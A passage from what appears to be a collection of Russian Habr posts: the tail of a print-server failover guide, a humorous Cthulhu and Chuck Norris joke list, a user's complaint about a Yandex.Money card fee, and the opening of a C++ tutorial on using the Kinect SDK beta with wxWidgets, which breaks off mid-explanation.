Если за время восстановления основного сервера на резервном были изменения конфигурации, которые необходимо сохранить, запускаем синхронизацию в другую сторону. Для этого в указанном выше скрипте *PrintSync.ps1* меняем местами значения переменных *$SourceServer* и *$DestServer*. После переноса изменений не забудьте вернуть эти значения обратно, иначе все изменения в конфигурации принтеров на *prn-srv01* будут нещадно отметаться каждую ночь злой волей судьбы.
В оснастке DNS устанавливаем для CNAME-записи *print* значением конечного узла prn-srv01 — и всё возвращается на круги своя.
Что в итоге?
------------
Бурные овации руководства, подкидывание админа на руках, повышение зарплаты (автору статьи — честные 10% от прибавки)…
Ну и несколько мыслей в сторону наведения дальнейшей красоты.
Чудес, к сожалению, на всех не хватает, и данное решение — не полноценный Failover. Если в момент крушения основного принт-сервера на нем будут непустые очереди печати, то их содержимое скорее всего канет в лету и кому-то придется повторять отправку на печать.
Зато очень удобно будет прозрачно для пользователей выполнять регламентное обслуживание серверов печати.
**Вы ведь следуете рекомендациям Microsoft?**
Фанаты автоматизации могут пойти дальше и создать скрипт, который на входе получает имена серверов с интервалом синхронизации и остальные настройки делает сам: создает сервисную учетную запись при необходимости, задание в планировщике и т.д.
Гуру мониторинга добавят наблюдение за выполнением задачи синхронизации и ошибками в логах.
Любители копать глубже могут продумать двухстороннюю синхронизацию в духе репликации AD с отслеживанием времени изменений по каждому принтеру. PrintBrm тут уже не поможет, но никто не отменял PowerShell!
Вишенкой на торте будет автоматическая установка принтеров на клиентских машинах с помощью GPP с нацеливанием на группу AD. Добавляем пользователя в группу — и ему прилетает нужный принтер. Правда, это уже другая история, выходящая за рамки статьи.
Надеюсь, для кого-то моя публикация окажется полезной. Желаю всем поменьше сбоев и жду вопросов и предложений в комментариях. | https://habr.com/ru/post/414369/ | null | ru | null |
# Сказания Великого Ктулху. Чак Норрис
Великому Ктулху было скучно. Он смотрел на вечность, а Вечность смотрела на него. Ни одна из сторон не желала уступать. А так как Великий Ктулху и есть вечность, то смотрел он сам на себя. И это продолжалось вечно.
Вы спросите, когда это было? Я отвечу никогда. Великий Ктулху есть любая бесконечность, в том числе и вечность. Поэтому к любой бесконечности, которая всегда есть отражение Великого Ктулху, неприменимы понятия где и когда.
Так вот, Великому Ктулху стало скучно играть в эти вечные гляделки, и он выбрал среди своих вечных отражений самое упёртое - Чак Норисса, и поставил его глядеть в вечность вместо себя. Да Чак Норрис, как любое отражение Великого Ктулху, есть бесконечность. И Чак Норрис прищурясь вечно смотрит на вечность.
Вы спросите, как Чак Норрис может быть вечным если он родился? Вы путаете актёра Карлоса Рей Норриса, по кличке Чак, который смертен, с Чак Норрисом, который вечен. Этот актёр лишь конечное отражение в нашей конечной реальности бесконечно упёртого Чак Норриса.
Это наглядно видно во всех истинных утверждениях про Чак Норриса (именно утверждения, а не анекдоты. Никогда не рассказывайте анекдоты про Чак Норисса, если конечно не хотите получить удар с разворота). Есть истинные утверждения о Чак Норрисе, созданные вечностью и записанные людьми сведущими, а есть ложные, созданные людьми несведущими. Их легко отличить друг от друга. Если в утверждении присутствует бесконечность это истинное утверждение о Чак Норрисе. Например,
Сколько отжиманий может сделать Чак Норрис. Все.
Все - это проявление бесконечности и это истинное утверждение.
А вот следующий пример:
Чак Норрис ударом с разворотом пробил стену.
Тут нет бесконечности поэтому это не истинное утверждение. Истинное утверждение звучит так:
Чак Норрису не нужны двери, у него есть удар с разворотом.
Чувствуете разницу? В этом весь Великий Ктулху в вечных бесконечностях. Вот ещё три утверждения; проверим насколько вы прониклись бесконечностью Чак Норриса:
Последняя цифра числа пи - это Чак Норрис.
У Чак Норисса нет часов. Он сам решает какое сейчас время.
Чак Норрис принимает снотворное чтобы моргнуть.
Да, вы правильно поняли последнее утверждение неверное. Ведь Чак Норрис не может моргнуть, иначе он проиграет вечности, а это означает что Великий Ктулху проиграет сам себе, что невозможно.
Ну и несколько утверждений напоследок, сами думайте которые верные. Ну или не думайте, а просто насладитесь бесконечностью Чак Норриса.
`Чак Норрис может заставить воду течь под лежачий камень.`
`Чак Норрис может дышать даже вакуумом.`
`Чак Норрис никогда не спит. Он выжидает.`
`Чак Норрис может захлопнуть вращающуюся дверь.`
`Чак Норрис может выжать апельсиновый сок из лимона.`
`Чак Норрис может убить два камня одной птицей.`
`Чак Норрис может слепить снеговика из дождя.`
`Чак Норрис может ударить циклопа между глаз.`
`Чак Норрис может удалить корзину.`
`Однажды Чак Норрис переходил дорогу в неположенном месте и сбил автомобиль.`
`Чак Норрис может разлочить iPhone, не вынимая его из коробки.`
`Чак Норрис может заставить плакать лук.`
`Долго смотреть можно лишь на три вещи — огонь, воду и удар Чака Норриса ногой с разворота.`
`Джек Николсон говорит, что переспал с 10 000 женщин за всю свою жизнь. А для Чака Норриса это всего лишь «скучный понедельник».`
`Чак Норрис разговаривает исключительно матом. Потому что любое слово, произнесенное Чаком, автоматически переходит в разряд матерных.`
`У дома Чака Норриса нет дверей. Он проходит сквозь стены.`
`Чак Норрис взламывает любой шифр с первой попытки, потому что даже шифр не смеет возразить Чаку.`
`Когда Чак Норрис переходит дорогу, светофор автоматически включает машинам красный свет.`
`Если у вас и у Чака Норриса одинаковое количество денег, то у Чака все равно больше.`
`В любой комнате найдется 123 предмета, которыми Чак Норрис может вас убить. Включая саму комнату.`
`Чак Норрис выиграет у вас в крестики-нолики за один ход.`
`Под бородой Чака Норриса нет подбородка, там еще один кулак.`
`Самый короткий путь к сердцу мужчины — это кулак Чака Норриса.`
`Когда вы говорите: «Никто не идеален», Чак Норрис считает это личным оскорблением.`
`Чак Норрис чуть не попал в объятья смерти. После этого случая смерть боится к нему приближаться.`
`Чак Норрис заваривает лапшу быстрого приготовления во рту.`
`Инопланетяне реально существуют! Просто они не рискуют прилетать на планету, где живет Чак Норрис.`
`Тень Чака Норриса видно в темноте.`
`Нет никакой теории эволюции — просто список существ, которых Чак Норрис пощадил.`
`Чак Норрис победит в любой схватке, даже в схватке Бэтмена и Дарта Вэйдера.`
`Существует три стороны Силы — темная сторона, светлая сторона и Чак Норрис.`
`Чак Норрис — настоящий отец Люка Скайуокера.`
`Когда Супермен сравнил себя с Чаком Норрисом, Чак убил его своим презрением.`
`Чака Норриса исключили из соревнований по родео после того, как он проехал на быке 1346 км, чтобы забрать вещи из химчистки.`
`Ковбойские ботинки Чака сделаны из ковбоев.`
`Однажды в Техасе кобра укусила Чака Норриса за ногу. После трех дней мучительных страданий змея умерла.`
`Чак Норрис берет баллончик слезоточивого газа, чтобы поперчить свой бифштекс.`
`Чак Норрис выплевывает арбузные семечки с такой скоростью, что пулемет испытывает комплекс неполноценности.`
`Бумеранг не возвращается к Чаку Норрису. Боится.`
`Тень Чака Норриса сминает все, на что падает.`
`Единственная вещь, способная порезать Чака Норриса, — это Чак Норрис.`
`Молния не может ударить Чака Норриса. Но Чак Норрис может ударить молнию.`
`Клонирование запретили, поскольку если клонировать Чака Норриса, то появится вероятность, что удар ногой с разворота одного Чака столкнется с ударом ногой с разворота другого. Физики утверждают, что это станет концом Вселенной.`
`При прохождении IQ теста отвечайте на все вопросы «Чак Норрис» — и вы заработаете максимальное количество баллов.`
`Чак Норрис ударил лошадь по голове. Так получился жираф.`
`Чак Норрис досчитал до бесконечности. Дважды.`
`Пульс Чака Норриса измеряется по шкале Рихтера.`
`Чак Норрис построил Эверест при помощи ведерка и лопатки.`
`Чак Норрис никогда не получал «Оскара» за актерскую игру, потому что он не играет!`
`В «Парке Юрского периода» тираннозавр не гнался за джипом, а убегал от Чака Норриса.`
`Чак Норрис использует дублеров только для съемки сцен, где его герой плачет.`
`Первые сцены фильма «Спасение рядового Райана» скопированы с игры Чака Норриса в «выбивного» в первом классе.`
`Главные роли во всех боевиках сыграл Чак Норрис. Но потом некоторые фильмы ему не понравились. Пришлось переснять их с другими актерами.`
`Чак Норрис не только отжимается на бровях, но и подтягивается на них.`
`Книга рекордов Гиннесса содержит отчет о попытках всего человечества хотя бы приблизиться к рекордам Чака Норриса.`
`Когда Чак Норрис тренируется, тренажер становится сильнее.`
`Чак Норрис — единственный, кто сумел выиграть в теннис у стенки.`
`Чак Норрис не пользуется кастрюлей, он варит борщ в ладонях.`
`Чак Норрис перемалывает кофейные зерна зубами и кипятит воду на внутренней ярости.`
`Чак Норрис любую посуду делает одноразовой.`
`Чак Норрис бросает в чай алмазы вместо сахара.`
`Чак Норрис не пользуется полотенцем, вода сама убегает с его тела.`
`У Чака Норриса нет своего дома. Он просто входит в любой, и хозяева переезжают.`
`У Чака Норриса нет часов, он сам решает, сколько сейчас времени.`
`Если вы спросите у Чака Норриса: «Который час?», он всегда отвечает: «Две секунды до». После того как вы спросите: «Две секунды до чего?», вы получите по лицу знаменитый удар ногой с разворота.`
`Чак Норрис получил водительские права в возрасте 16 секунд.`
`Годы не щадят человека. Кроме того случая, когда этот человек — Чак Норрис.`
`На самом деле никто не знает истинный возраст Чака Норриса. Потому что узнать это можно только одним способом — распилить его пополам и сосчитать годовые кольца.` | https://habr.com/ru/post/682142/ | null | ru | null |
# Яндекс-деньги стали проводить часть интернет-платежей по пластиковой карте ЯД как снятие в банкомате
Всем добрый день.
Поскольку за адекватное время (почти неделя) дождаться ответа от поддержки ЯД не удалось, а отбивка о создании тикета пришла исправно, пишу тут с целью предупредить общественность о такой (довольно странной) фиче.
Один банк позволяет мне пополнить счёт с пластика другого банка, такие платежи всегда проходили для меня без доп. комиссий.
Провожу я как обычно платёж: ФИО,#, exp, CSV, как обычно блокируется небольшая сумма, для проверки, что карта именно моя и тут…
Со счёта списывается сумма, сильно превышающая несколько рублей.
Иду в ЯД и вижу
`Комиссия: 100,00 руб.
Детали платежа
Снятие наличных с банковской карты Яндекс.Денег
REGISTRATION,**********, RU
Сумма в валюте платежа: 7.74 RUB
Сумма в рублях: 107.74 руб.
Номер транзакции: 20000******74`
«Ну ничего», — подумал я. «Может процессинг больше заблокировал».
Ввожу на сайте процессинга сумму блокировки: 107.74 — неверно, 7.74 — ОК.
Через некоторое время 7.74 возвращается на баланс.
То есть, блокировку семи с копейками рублей ЯД/ТКС провели как снятие наличных с соответствующей комиссией.
Мне всегда казалось, что снятие наличных подразумевает присутствие, банкомата, человека с пином в голове и карточки на расстоянии не более нескольких метров друг от друга, да и странный банкомат, с рублями и копейками…
В общем, карточка начинает медленно отвоёвывать свою бесплатность…
Это печально.
Справедливости ради замечу: платежи в направлении палки, и еще одного известного процессинга — без изменений.
PS
Конечно, в FAQ недавно появилась строчка о том, что «некоторые банки проходят» попадают под «снятие в банкомате», но это и не платёж, это же обычная блокировка.
И да, важно. Это не в коем случае не претензия к ЯД (которыми я довольно давно пользуюсь и буду пользоваться), это пожелание быть осторожнее.
Желаю всем отсутствия подобных сюрпризов! | https://habr.com/ru/post/160751/ | null | ru | null |
# Работа с Microsoft Kinect в приложениях на C++
Введение
--------
Совсем недавно Microsoft выпустили beta-версию инструментария для работы с Kinect – Microsoft Research Kinect SDK. В инструментарии доступны заголовочные файлы, библиотека, а также примеры использования в приложениях на C++. Но наличие самого SDK не решает проблему с отсутствием доходчивых примеров и документации. Заметно, что Microsoft больше ориентируется на .NET разработчиков, поэтому, например, на официальном форуме подавляющее большинство топиков связаны с C#, а гуглопоиск при попытке найти какое-либо описание API для Kinect выдает всего несколько ссылок, и те — на официальную документацию.
В этой статье рассматриваются варианты использования Microsoft Kinect, а также упомянутого выше программного инструментария в C++ приложениях и в связке с библиотекой wxWidgets.
Начало работы
-------------
Для того, чтобы начать, необходимо, как минимум, скачать средства разработки. Сделать это можно на страничке [Microsoft Research Kinect SDK](http://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/).
Также нам необходима будет библиотека wxWidgets. Скачать ее (v2.9.1) можно с [официального сайта](http://wxwidgets.org/downloads/) или из [SVN-репозитория](http://svn.wxwidgets.org/svn/wx/wxWidgets/trunk/) (я предпочитаю SVN HEAD – в нем часто появляется много новых полезных вещей, которых нет в официальном релизе, но часто появляются и баги).
Для тех, кто предпочитает «светлую» сторону и жаждет разрабатывать приложения только с использованием бесплатных инструментов, есть смысл скачать [Visual C++ 2010 Express](http://www.microsoft.com/visualstudio/en-us/products/2010-editions/visual-cpp-express), а также [Microsoft Windows SDK for Windows 7](http://www.microsoft.com/download/en/details.aspx?id=8279) (или более поздний), без него собрать wxWidgets в Visual C++ Express, скорее всего, не получится.
Собираем wxWidgets
------------------
Процесс установки Visual Studio и Kinect SDK мы рассматривать не будем, там все сводится к нескольким нажатиям кнопки Next в мастере установки, а вот процесс сборки wxWidgets мы рассмотрим более подробно, т.к. от него зависят дальнейшие шаги разработки приложения.
После того, как исходный код wxWidgets загружен и распакован в отдельную папку, необходимо добавить переменную окружения **WXWIN**, в значение которой прописать путь к папке с исходными кодами wxWidgets.
При использовании исходных кодов из SVN, необходимо скопировать файл **%WXWIN%/include/msw/setup0.h** в **%WXWIN%/include/msw/setup.h**.
По умолчанию в решении wxWidgets есть несколько доступных конфигураций (Рис. 1):
* Debug
* Release
* DLL Debug
* DLL Release
Первые две конфигурации позволяют собрать wxWidgets в виде статических библиотек, последние – в виде нескольких динамически подгружаемых модулей.
### Сборка статических библиотек
Перед сборкой статических библиотек (конфигурации Debug и Release) необходимо в свойствах всех проектов в решении установить для параметра **C/C++ -> Code Generation -> Runtime Library** значение Multi-Threaded Debug и Multi-Threaded соответственно (Рис. 2).
Установка таких параметров компиляции позволит избавиться от необходимости установки Visual C++ Redistributable на машинах конечных пользователей вместе с нашим приложением. После установки параметров компиляции можно собирать решение. В результате в подкаталоге lib/vc\_lib должны создаться несколько .lib файлов, которые впоследствии будут использоваться в нашем приложении.
### Сборка динамических библиотек
Для сборки динамических библиотек ничего в настройках компилятора менять не нужно. Но есть другая проблема – в решении не проставлены зависимости, поэтому процесс сборки нужно будет перезапускать несколько раз, т.к. при линковке некоторых библиотек будут возникать ошибки. После сборки в подкаталоге lib/vc\_dll должны создаться несколько .DLL и .LIB файлов.
Хотелось бы отметить, что необходимо собирать (Debug) и отладочную и оптимизированную (Release) версии библиотек.
### Создаем тестовое приложение
Итак, на данный момент у нас есть:
* Visual Studio 2010
* Microsoft Research Kinect SDK
* Собранные библиотеки wxWidgets
+ Статические
+ Динамические
Можно приступать к созданию приложения.
В тестовом приложении у нас будет:
* Класс приложения (производный от `wxApp`)
* Класс главной формы (производный от `wxFrame`)
* Класс канвы (элемент управления, производный от `wxWindow`, на котором будет отображаться изображение с сенсора Kinect)
**KinectTestApp.h**
> `#ifndef \_KINECTTESTAPP\_H\_
>
> #define \_KINECTTESTAPP\_H\_
>
>
>
> #include "wx/image.h"
>
> #include "KinectTestMainFrame.h"
>
>
>
> class KinectTestApp: public wxApp
>
> {
>
> DECLARE\_CLASS( KinectTestApp )
>
> DECLARE\_EVENT\_TABLE()
>
> public:
>
> KinectTestApp();
>
> void Init();
>
> virtual bool OnInit();
>
> virtual int OnExit();
>
> };
>
>
>
> DECLARE\_APP(KinectTestApp)
>
>
>
> #endif`
**KinectTestApp.cpp**
> `...
>
> bool KinectTestApp::OnInit()
>
> {
>
> #if wxUSE\_LIBPNG
>
> wxImage::AddHandler(new wxPNGHandler);
>
> #endif
>
> #if wxUSE\_LIBJPEG
>
> wxImage::AddHandler(new wxJPEGHandler);
>
> #endif
>
> KinectTestMainFrame\* mainWindow = new KinectTestMainFrame( NULL );
>
> mainWindow->Show(true);
>
> return true;
>
> }`
**KinectTestMainFrame.h**
> `class KinectTestMainFrame: public wxFrame, public wxThreadHelper
>
> {
>
> DECLARE\_CLASS( KinectTestMainFrame )
>
> DECLARE\_EVENT\_TABLE()
>
> public:
>
> KinectTestMainFrame();
>
> KinectTestMainFrame( wxWindow\* parent,
>
> wxWindowID id = SYMBOL\_KINECTTESTMAINFRAME\_IDNAME,
>
> const wxString& caption = SYMBOL\_KINECTTESTMAINFRAME\_TITLE,
>
> const wxPoint& pos = SYMBOL\_KINECTTESTMAINFRAME\_POSITION,
>
> const wxSize& size = SYMBOL\_KINECTTESTMAINFRAME\_SIZE,
>
> long style = SYMBOL\_KINECTTESTMAINFRAME\_STYLE );
>
> bool Create( wxWindow\* parent,
>
> wxWindowID id = SYMBOL\_KINECTTESTMAINFRAME\_IDNAME,
>
> const wxString& caption = SYMBOL\_KINECTTESTMAINFRAME\_TITLE,
>
> const wxPoint& pos = SYMBOL\_KINECTTESTMAINFRAME\_POSITION,
>
> const wxSize& size = SYMBOL\_KINECTTESTMAINFRAME\_SIZE,
>
> long style = SYMBOL\_KINECTTESTMAINFRAME\_STYLE );
>
> ~KinectTestMainFrame();
>
> void Init();
>
> void CreateControls();
>
> wxBitmap GetBitmapResource( const wxString& name );
>
> wxIcon GetIconResource( const wxString& name );
>
> virtual wxThread::ExitCode Entry();
>
>
>
> wxGridBagSizer\* m\_MainSizer;
>
> wxListBox\* m\_DeviceListBox;
>
> KinectCanvas\* m\_Canvas;
>
> };
>
>
>
> #endif`
**KinectTestMainFrame.cpp**
> `...
>
> void KinectTestMainFrame::CreateControls()
>
> {
>
> KinectTestMainFrame* itemFrame1 = this;
>
>
>
> m_MainSizer = new wxGridBagSizer(0, 0);
>
> m_MainSizer->SetEmptyCellSize(wxSize(10, 20));
>
> itemFrame1->SetSizer(m_MainSizer);
>
>
>
> wxArrayString m_DeviceListBoxStrings;
>
> m_DeviceListBox = new wxListBox( itemFrame1,
>
> ID_DEVICE_LISTBOX, wxDefaultPosition,
>
> wxDefaultSize, m_DeviceListBoxStrings,
>
> wxLB_SINGLE );
>
> m_MainSizer->Add(m_DeviceListBox,
>
> wxGBPosition(0, 0), wxGBSpan(1, 1),
>
> wxGROW|wxGROW|wxALL, 5);
>
>
>
> m_Canvas = new KinectCanvas( itemFrame1,
>
> ID_KINECT_CANVAS, wxDefaultPosition,
>
> wxSize(320, 240), wxSIMPLE_BORDER );
>
> m_MainSizer->Add(m_Canvas, wxGBPosition(0, 1),
>
> wxGBSpan(1, 1), wxALIGN_CENTER_HORIZONTAL|
>
> wxALIGN_CENTER_VERTICAL|wxALL, 5);
>
> m_MainSizer->AddGrowableCol(1);
>
> m_MainSizer->AddGrowableRow(0);
>
> }
>
> ...
>
> wxThread::ExitCode KinectTestMainFrame::Entry()
>
> {
>
> return NULL;
>
> }`
**KinectCanvas.h**
> `...
>
> class KinectCanvas: public wxWindow
>
> {
>
> DECLARE\_DYNAMIC\_CLASS( KinectCanvas )
>
> DECLARE\_EVENT\_TABLE()
>
>
>
> public:
>
> KinectCanvas();
>
> KinectCanvas(wxWindow\* parent,
>
> wxWindowID id = ID\_KINECTCANVAS,
>
> const wxPoint& pos = wxDefaultPosition,
>
> const wxSize& size = wxSize(100, 100),
>
> long style = wxSIMPLE\_BORDER);
>
>
>
> bool Create(wxWindow\* parent,
>
> wxWindowID id = ID\_KINECTCANVAS,
>
> const wxPoint& pos = wxDefaultPosition,
>
> const wxSize& size = wxSize(100, 100),
>
> long style = wxSIMPLE\_BORDER);
>
> ~KinectCanvas();
>
>
>
> void Init();
>
> void CreateControls();
>
> void OnPaint( wxPaintEvent& event );
>
>
>
> wxImage \* GetCurrentImage() const { return m\_CurrentImage ; }
>
> void SetCurrentImage(wxImage \* value) { m\_CurrentImage = value ; }
>
>
>
> wxBitmap GetBitmapResource( const wxString& name );
>
> wxIcon GetIconResource( const wxString& name );
>
>
>
> wxImage \* m\_CurrentImage;
>
> };
>
>
>
> #endif`
**KinectCanvas.cpp**
> `...
>
> IMPLEMENT\_DYNAMIC\_CLASS( KinectCanvas, wxWindow )
>
> BEGIN\_EVENT\_TABLE( KinectCanvas, wxWindow )
>
> EVT\_PAINT( KinectCanvas::OnPaint )
>
> END\_EVENT\_TABLE()
>
> ...
>
> void KinectCanvas::OnPaint( wxPaintEvent& event )
>
> {
>
> wxAutoBufferedPaintDC dc(this);
>
> if(!m\_CurrentImage)
>
> {
>
> dc.SetBackground(wxBrush(GetBackgroundColour(), wxSOLID));
>
> dc.Clear();
>
> dc.DrawLabel(\_("No image"), wxRect(dc.GetSize()),
>
> wxALIGN\_CENTER\_HORIZONTAL|wxALIGN\_CENTER\_VERTICAL);
>
> }
>
> else
>
> {
>
> wxBitmap bmp(\*m\_CurrentImage);
>
> dc.DrawBitmap(bmp,
>
> (dc.GetSize().GetWidth()-bmp.GetWidth())/2,
>
> (dc.GetSize().GetHeight()-bmp.GetHeight())/2);
>
> }
>
> }`
В исходном коде, приведенном выше, есть несколько пустых методов, а также несколько методов, использование которых не очевидно (например, методы `GetIconResource()`, `GetBitmapResource()`, `Init()`). Все это потому, что для создания каркаса приложения был использован дизайнер форм [DialogBlocks](http://www.dialogblocks.com/). Это платный инструмент, но функционала пробной версии вполне достаточно для создания нашего приложения.
Перед тем, как пытаться собрать приложение, необходимо изменить параметры проекта таким образом, чтобы они соответствовали параметрам сборки wxWidgets. Это значит, что если мы хотим использовать статические библиотеки wxWidgets, нам в свойствах проекта в параметре **C/C++ -> Code Generation -> Runtime Library** нужно установить такие же значения для конфигурации Debug и Release. Если же нам необходимо использовать динамические библиотеки wxWidgets, то в настройках проекта в параметре **C/C++ -> Preprocessor -> Preprocessor Definitions** необходимо добавить макрос `WXUSINGDLL`. Этот макрос, также, используется при сборке динамических библиотек wxWidgets, и в итоге настройки нашего проекта и wxWidgets будут совпадать (Рис. 3).
Также, для отладочной версии приложения необходимо в настройках компилятора ресурсов в директивы препроцессора добавить макрос `wxUSE_NO_MANIFEST=1`. Это нужно для того, чтобы не было конфликтов манифеста, указанного в ресурсном файле wxWidgets (**%WXWIN%/include/msw/wx.rc**) и манифеста, который Visual Studio добавляет в приложение автоматически.
После выполнения указанных выше действий можно собирать приложение. В результате у нас получится что-то вроде этого (Рис. 4):
Использование Microsoft Research Kinect SDK
-------------------------------------------
После установки Kinect SDK, в системе появится переменная окружения %MSRKINECTSDK%, будет содержать путь к папке, в который был установлен SDK. В этой папке есть подкаталог inc – с заголовочными файлами, и lib – с библиотекой. Путь к заголовочным файлам нужно добавить в настройки компилятора в нашем тестовом приложении, путь к библиотеке – в настройки компоновщика.
### Получение списка устройств
На данный момент у нас есть все собранные зависимости и шаблон приложения. Теперь можно приступить к написанию кода, непосредственно использующего Kinect SDK.
В Kinect SDK есть функционал, который позволяет работать с несколькими устройствами Kinect, подключенным к одному компьютеру. Это более универсальное решение при разработке приложения т.к. заранее неизвестно, сколько устройств нам понадобится. Поэтому для нас будет более предпочтительным использование именно этого API.
Для получений списка устройств используется функция `MSR_NuiGetDeviceCount()`, которая в качестве параметра принимает указатель на целочисленную переменную, в которую, при успешном выполнении, будет записано количество доступных сенсоров:
> `NUIAPI HRESULT MSR\_NuiGetDeviceCount(
>
> int \* pCount
>
> );`
Каждое устройство Kinect имеет свой уникальный идентификатор, получить который можно с помощью метода `INuiInstance::MSR_NuiGetPropsBlob()`. Этот метод в качестве параметров принимает:
* Идентификатор свойства (в beta-версии SDK может иметь только одно значение — `INDEX_UNIQUE_DEVICE_NAME`)
* Указатель на переменную, в которую будет записан результат
* Объем памяти, доступный для записи результата (например, длина строки). В beta-версии SDK этот параметр не используется.
> `virtual bool MSR\_NuiGetPropsBlob(
>
> MsrNui::NUI\_PROPSINDEX Index,
>
> void \* pBlob,
>
> DWORD \* pdwInOutSize
>
> );`
Вооружившись только что полученными знаниями, мы можем реализовать получение списка устройств в нашем приложении.
**wxKinectHelper.h**
> `#pragma once
>
>
>
> #include
>
>
>
> interface INuiInstance;
>
>
>
> class KinectHelper
>
> {
>
> protected:
>
> typedef std::pair InstanceInfo;
>
> typedef std::vector InstanceVector;
>
> public:
>
> KinectHelper();
>
> virtual ~KinectHelper();
>
>
>
> size\_t GetDeviceCount();
>
> wxString GetDeviceName(size\_t index);
>
>
>
> bool IsDeviceOK(size\_t deviceIndex);
>
> protected:
>
> InstanceVector m\_Instances;
>
>
>
> void Finalize();
>
> InstanceInfo \* GetInstanceByIndex(size\_t index);
>
> };`
**wxKinectHelper.cpp**
> `#include
>
> #include "msr\_nuiapi.h"
>
> #include "KinectHelper.h"
>
>
>
> KinectHelper::KinectHelper()
>
> {
>
> }
>
>
>
> KinectHelper::~KinectHelper()
>
> {
>
> Finalize();
>
> }
>
>
>
> size\_t KinectHelper::GetDeviceCount()
>
> {
>
> int result(0);
>
> if(FAILED(MSR\_NUIGetDeviceCount(&result))) return 0;
>
> return (size\_t)result;
>
> }
>
>
>
> KinectHelper::InstanceInfo \* KinectHelper::GetInstanceByIndex(size\_t index)
>
> {
>
> INuiInstance \* instance = NULL;
>
> for(InstanceVector::iterator i = m\_Instances.begin();
>
> i != m\_Instances.end(); i++)
>
> {
>
> instance = (\*i).first;
>
> if(instance->InstanceIndex() == (int)index) return &(\*i);
>
> }
>
> if(!instance)
>
> {
>
> if(!FAILED(MSR\_NuiCreateInstanceByIndex((int)index, &instance)))
>
> {
>
> InstanceInfo info;
>
> info.first = instance;
>
> info.second = NULL;
>
> m\_Instances.push\_back(info);
>
> return &(m\_Instances.at(m\_Instances.size()-1));
>
> }
>
> }
>
> return NULL;
>
> }
>
>
>
> void KinectHelper::Finalize()
>
> {
>
> for(InstanceVector::const\_iterator i = m\_Instances.begin();
>
> i != m\_Instances.end(); i++)
>
> {
>
> if((\*i).first && (\*i).second)
>
> {
>
> (\*i).first->NuiShutdown();
>
> MSR\_NuiDestroyInstance((\*i).first);
>
> }
>
> }
>
> }
>
>
>
> wxString KinectHelper::GetDeviceName(size\_t index)
>
> {
>
> BSTR result;
>
> DWORD size;
>
> InstanceInfo \* info = GetInstanceByIndex(index);
>
> if(info != NULL)
>
> {
>
> INuiInstance \* instance = info->first;
>
> if(instance != NULL && instance->MSR\_NuiGetPropsBlob(
>
> MsrNui::INDEX\_UNIQUE\_DEVICE\_NAME, &result, &size))
>
> {
>
> wxString name = result;
>
> SysFreeString(result);
>
> return name;
>
> }
>
> }
>
> return wxT("Unknown Kinect Sensor");
>
> }
>
>
>
> bool KinectHelper::IsDeviceOK(size\_t deviceIndex)
>
> {
>
> return GetInstanceByIndex(deviceIndex) != NULL;
>
> }`
Структура `InstanceInfo` содержит указатель на экземпляр `INuiInstance`, с помощью которого мы можем получить имя устройства, а также дескриптор потока, в котором происходит захват изображения (будет рассмотрен далее).
Класс `wxKinectHelper` содержит вектор структур `InstanceInfo` и методы для получения количества устройств, а также имени каждого устройства. В деструкторе класса `wxKinectHelper` вызывается метод `Finalize()`, который закрывает все открытые потоки захвата изображений, а затем удаляет все экземпляры `INuiInstance`.
Теперь необходимо добавить функционал получения списка устройств в наше приложение.
**wxKinectHelperMainFrame.h**
> `...
>
> class KinectTestMainFrame: public wxFrame, public wxThreadHelper
>
> {
>
> ...
>
> void ShowDevices();
>
> ...
>
> KinectHelper \* m\_KinectHelper;
>
> }
>
> ...`
**wxKinectHelperMainFrame.cpp**
> `...
>
> void KinectTestMainFrame::ShowDevices()
>
> {
>
> size\_t count = m\_KinectHelper->GetDeviceCount();
>
> m\_DeviceListBox->Clear();
>
> for(size\_t i = 0; i < count; ++i)
>
> {
>
> int item = m\_DeviceListBox->Append(
>
> m\_KinectHelper->GetDeviceName(i));
>
> m\_DeviceListBox->SetClientData(item, (void\*)i);
>
> }
>
> }`
В результате после запуска приложения мы получим список доступных устройств Kinect (Рис. 5):
### Получение изображения с Kinect
Перед тем, как начать захват изображения с устройства, надо его инициализировать. Делается это с помощью метода `INuiInstance::NuiInitialize()`, который в качестве параметра принимает битовую маску, описывающую список подсистем устройства, которые мы планируем использовать (сенсор глубины, камеру или поиск игроков на видео).
> `HRESULT NuiInitialize(
>
> DWORD dwFlags,
>
> );`
Для того, чтобы получать изображение с Kinect необходимо инициализировать поток захвата изображения. Для этих целей используется метод `INuiInstance:: NuiImageStreamOpen()`, который в качестве параметров принимает:
* Тип изображения (цветное изображение, буфер глубины и т.д.)
* Разрешение (от 80x60 до 1280x1024)
* Флаги обработки изображения (в beta-версии SDK не используется)
* Количество кэшируемых кадров (максимальное значение `NUI_IMAGE_STREAM_FRAME_LIMIT_MAXIMUM` на данный момент равно 4)
* Дескриптор события, которое будет возникать при получении нового кадра (необязательный параметр, но на деле оказалось, что если передать `NULL`, то поток захвата может и не запуститься)
* Указатель на переменную, в которую будет записан дескриптор потока захвата изображения при успешном завершении работы функции.
Для того чтобы остановить захват изображений с устройства, необходимо вызвать метод `INuiInstance::NuiShutdown()`, а после завершения работы с экземпляром `INuiInstance` нужно освободить память с помощью функции `MSR_NuiDestroyInstance()`, в параметр которой передать указатель на объект `INuiInstance`.
#### Получение буфера глубины (Depth Buffer)
Для того, чтобы начать получение буфера глубины, необходимо вызвать метод `INuiInstance:: NuiImageStreamOpen()` и в качестве первого параметра передать значение, содержащее флаг `NUI_IMAGE_TYPE_DEPTH_AND_PLAYER_INDEX` или `NUI_IMAGE_TYPE_DEPTH`. Наиболее подходящий для последующей обработки буфер у меня получался с использованием флага `NUI_IMAGE_TYPE_DEPTH_AND_PLAYER_INDEX`. В исходном коде подобный вызов будет выглядеть таким образом:
> `if(FAILED(info->first->NuiImageStreamOpen(NUI\_IMAGE\_TYPE\_DEPTH\_AND\_PLAYER\_INDEX,
>
> NUI\_IMAGE\_RESOLUTION\_320x240, 0,
>
> 3,
>
> hDepthFrameEvent,
>
> &info->second))) { /\* Handle error here \*/}`
В результате описанного выше вызова, в переменной `info->second` будет дескриптор потока захвата изображения. Дескриптор события `hDepthFrameEvent` можно создать с помощью функции `CreateEvent()`.
Когда новое изображение будет доступно, будет вызвано событие `hDepthFrameEvent`. Ожидание этого события можно реализовать посредством функции `WaitForMultipleObjects()` или `WaitForSingleObject()`.
Получить же сам буфер из устройства можно с помощью метода `NuiImageStreamGetNextFrame()`, которому в качестве параметров нужно передать:
* Дескриптор потока захвата
* Период ожидания буфера в миллисекундах
* Указатель на структуру NUI\_IMAGE\_FRAME, в которую будет записана информация о полученном буфере
